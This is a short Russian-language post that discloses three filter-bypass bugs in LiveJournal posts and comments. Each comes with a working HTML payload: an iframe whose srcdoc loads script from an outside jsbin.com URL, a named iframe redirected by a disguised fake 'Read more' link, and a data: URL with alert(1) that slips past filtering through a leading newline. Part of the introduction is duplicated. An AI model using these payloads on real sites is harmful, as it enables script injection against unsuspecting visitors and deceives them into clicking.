Не знаю, насколько полезно, но пусть будет.
Несколько багов, позволяющих размещать в постах и коментах в livejournal.com недозволенную всячину.
Во-первых, не фильтруется атрибут srcdoc в теге iframe
Во-вторых, если iframe дать атрибут name, то можно перенаправить этот iframe на неразрешенный url (Обычно ЖЖ позволяет айфреймить только сайты из "белого списка", вроде Youtube итп) Для этого надо как-то заставить пользователя кликнуть на линк - например, нарисовав поддельный "кат"
В-третьих, можно обойти фильтрацию URL-ов с протоколом data, добавив в начало символ новой строки:
Несколько багов, позволяющих размещать в постах и коментах в livejournal.com недозволенную всячину.
Во-первых, не фильтруется атрибут srcdoc в теге iframe
Код:
<iframe width="10"
height="10"
src="http://www.youtube.com/embed/8EMZoCChpqY?rel=0&wmode=opaque" frameborder="0" allowfullscreen="allowfullscreen"
srcdoc="<script src=http://jsbin.com/uhabov/1/></script>">
Во-вторых, если iframe дать атрибут name, то можно перенаправить этот iframe на неразрешенный url (Обычно ЖЖ позволяет айфреймить только сайты из "белого списка", вроде Youtube итп) Для этого надо как-то заставить пользователя кликнуть на линк - например, нарисовав поддельный "кат"
Код:
<iframe name="ifr" width="560" height="315" src="http://www.youtube.com/embed/KhrteSZXFzM?rel=0" frameborder="0" allowfullscreen></iframe>
<a target="ifr" href="http://jsbin.com/ugoduw/2/">Read more...</a>)
В-третьих, можно обойти фильтрацию URL-ов с протоколом data, добавив в начало символ новой строки:
Код:
(<a href="
data:text/html,<script>alert(1)</script>">Read more...</a>)